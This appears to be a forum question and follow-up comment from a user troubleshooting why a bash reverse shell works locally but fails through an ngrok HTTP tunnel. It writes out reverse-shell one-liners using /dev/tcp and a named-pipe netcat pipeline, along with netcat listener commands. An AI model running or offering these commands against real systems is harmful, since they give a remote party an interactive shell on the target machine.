I am able to get a reverse shell working locally over TCP, but failing to trigger it remotely over HTTP.
Locally over TCP:
- Attacker terminal runs netcat to listen for a connection over port 8000:
nc -vv -l 8000
- Target terminal sends an interactive bash shell to the attacker:
bash -i >& /dev/tcp/localhost/8000 0>&1;
- Success!
Remotely over HTTP:
- Attacker runs netcat to listen for a connection over port 8000:
nc -vv -l 8000
- Attacker runs ngrok to generate a web-facing IP:
./ngrok http --subdomain=example 8000
- Target runs an interactive bash shell:
bash -i >& /dev/tcp/example.ngrok.io/80 0>&1;
(using port 80 because it's HTTP) - The connection fails; I don't even see any incoming traffic showing up on ngrok.
I also tried using netcat on the target machine, which unfortunately had the same result: /bin/bash 0< /tmp/mypipe | nc 192.168.1.100 4444 1> /tmp/mypipe
(from this post)
Can anyone spot what I'm doing wrong?
bash -i >& /dev/tcp/example.ngrok.io/80 0>&1
does not work over HTTP? I.e. it's TCP only? If so, are you saying it's not possible to use that command to make an interactive bash shell available to someone over the web? I also tried the netcat command listed below, and that didn't work for me either. Am I understanding you correctly? – NattyP Jul 1 '20 at 18:10